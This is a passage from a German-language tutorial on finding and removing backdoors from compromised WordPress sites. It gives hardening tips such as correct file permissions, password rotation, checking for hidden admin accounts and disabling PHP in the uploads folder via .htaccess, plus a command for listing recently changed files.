Wie schon mehrfach erwähnt. Die Befehle erleichtern vieles, allerdings sind sie nicht perfekt und schon gar nicht in der Lage 100% der Backdoors zu finden. Dazu gibt es zu viele Möglichkeiten deren Existenz zu verschleiern.
Was sich wirklich lohnt, wenn man keinen Profi beauftragen will: Einarbeiten in das Thema. Der Artikel versteht sich eher als Einführung. Es gibt sicher noch zig Themen, die man hier erwähnen könnte. 9. Einige Tipps
Mit wenigen Handgriffen kann man schon vieles für die Zukunft vorbeugen! Eine Zusammenstellung: 9.1. Dateirechte
Der Kollege Ernesto Ruge hat einen fabelhaften Artikel zu dem Thema geschrieben. Einfach befolgen und die Dateirechte richtig setzen. Das sorgt zwar dafür, dass man bei Updates und Co. die FTP-Daten jedes Mal eingeben muss, verbietet aber das Änderung/Hinzufügen von Dateien:
Dateirechte: Wie stelle ich das bei meinem Hoster ein?
Des Weiteren findet man auf seinem Blog ebenfalls einen Artikel rund um das Thema Malwarebefall bei WordPress:
Hilfe! Mein WordPress hat einen Virus! Wie mache ich den weg? 9.2. SSH Zugang? Tools nutzen!
Es gibt unter Linux so viele coole Tools, die man verwenden kann. Ein Beispiel wäre „filechanged“. Damit kann man man bestimmte Ordner regelmäßig auf Änderungen prüfen kann. 9.3. Gefundene Backdoors studieren
Was sich immer lohnt: Schau dir an, wie der gefundene Backdoor funktioniert. Wie gehen Blackhats vor. Hat der Backdoor einen eigenen Stil? Werden bestimmte Techniken verwendet? Mit diesem Wissen kannst du die oben genannten Befehle erweitern und meist weiteren Hintertürchen auf die Schliche kommen! 9.4. Massenhaftes Suchen und Ersetzen von Backdoors
Fakt ist, dass die meisten Sicherheitslücken stumpf von Bots ausgenutzt werden. Es wird in hunderten gar tausenden Dateien einfach am Anfang oder am Ende ein Backdoor hinterlassen. Ist das der Fall, kann man mit gängigen Tools (PowerGrep unter Windows oder „sed“ unter Linux) innerhalb von Minuten alles bereinigen. Hier ist meist die Herausforderung einen guten regulären Ausdruck zu finden, da es da recht schnell unübersichtlich werden kann. 9.5. Veränderte JS und HTML-Dateien beachten
Wird Schadecode direkt in HTML oder JS-Dateien injeziert, so muss man diese natürlich auch säubern. Die Technik ist im Grunde die gleiche, wie oben beschrieben. Diese Art von Problemen sind allerdings vergleichbar klein. Hat man penibelst alle PHP Backdoors entfernt, werden die infizierten JS/HTML-Dateien auch nicht mehr ausgespielt. Trotzdem sollte man die veränderten Dateien aufspüren, reinigen oder eben löschen. 9.6. Passwörter ändern
Zwar wird es oben kurz erwähnt, aber doppelt hält besser: Ist das System sauber, sollte man alle Passwörter ändern:
Zugangsdaten aller FTP Nutzer Zugangsdaten zur Datenbank, ggf. Salts neu setzen Zugangsdaten ins wp-admin jedes Nutzers, besonders der Superuser Wer spezielle APIs verwendet, der sollte u.U. auch da die Keys neu generieren
9.7. Nutzerverwaltung prüfen
In WordPress legen Bots gerne automatisch neue Adminaccounts an. Schaut euch mal alle Nutzer an – wenn jemand unbekanntes dabei ist: löschen. Das geht leicht via WP-Admin. Man sollte sich allerdings trotzdem mal die „wp_users“-Tabelle anschauen, ob dort ggf. weitere versteckte Admins zu finden sind! Hier darf man nicht zimperlich sein, die Blackhats sind relativ schlau und legen oft Nutzer an, bei denen sich der Laie denken könnte: „Ja, das wird schon seine Richtigkeit haben„! 10. PHP deaktiveren – da wo es sich lohnt
Eine sehr effektive Maßnahme ist es, die PHP Engine stellenweise zu deaktivieren. Das funktioniert bei viele Webhostern problemlos über die .htaccess. Im Fall von WordPress ist es so, dass Angreifer die erste Shell meist im uploads-Ordner ablegen, da dieser Ordner auf jeden Fall beschreibbar ist. Von dort kann die Datei aufgerufen werden und zur weiteren Verbreitung von Malware im System missbraucht werden. Deaktiviert man nun PHP in diesem und allen untergeordneten Ordnern, so kann man zwar den Upload einer Shell nicht verhindern, jedoch wird damit die Ausbreitung verhindert. Des Weiteren ist die Shell so für den Angreifer nutzlos.
Wichtig ist hier zu sagen, dass man hier vorsichtig sein muss, da einige WP Plugins gerne eigene PHP-Dateien in den uploads-Ordner schieben.
RemoveHandler .php .phtml .pht .php3 .php4 .php5 .php6 .php7
RemoveType .php .phtml .pht .php3 .php4 .php5 .php6 .php7
php_flag engine off
Diese Einstellung sollte man allerdings ausführlich testen, falls ein 50x-Fehler geworfen wird, muss man die Anweisugen anpassen. Hier wird der Webhoster sicherlich weiterhelfen. 11. Nützliche Kommandos
An der Stelle findet man nützliche Kommandos für die Konsole, die ich regelmäßig verwende:
find $1 -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head
Das Kommando zeigt die letzte geänderten/neuen Dateien im Filesystem an. Vor allem nach einer abgeschlossenen Säuberung kann man hiermit die Änderungen schnell und effizient im Auge behalten.